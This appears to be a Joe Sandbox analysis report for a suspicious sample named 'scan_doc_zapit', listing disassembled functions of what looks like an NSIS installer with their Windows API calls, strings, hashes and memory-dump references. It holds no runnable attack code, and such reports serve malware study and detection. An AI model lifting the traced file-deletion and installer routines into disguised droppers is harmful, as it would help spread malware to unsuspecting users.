Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

, xrefs: 00404F39
M, xrefs: 00404B43
N, xrefs: 00404C06
@, xrefs: 00404B90

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

@rD, xrefs: 00404610
82D, xrefs: 004046DB
A, xrefs: 00404636
@%F, xrefs: 00404674

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(Sleep(4921),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

name, xrefs: 00406FBF
%s: failed opening file "%s", xrefs: 00406F0C
GetTTFNameString, xrefs: 00406F07

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
Delete: DeleteFile("%s"), xrefs: 00406DBC
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
\*.*, xrefs: 00406D03

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

@%F, xrefs: 00406A53
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
@%F, xrefs: 0040682C
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
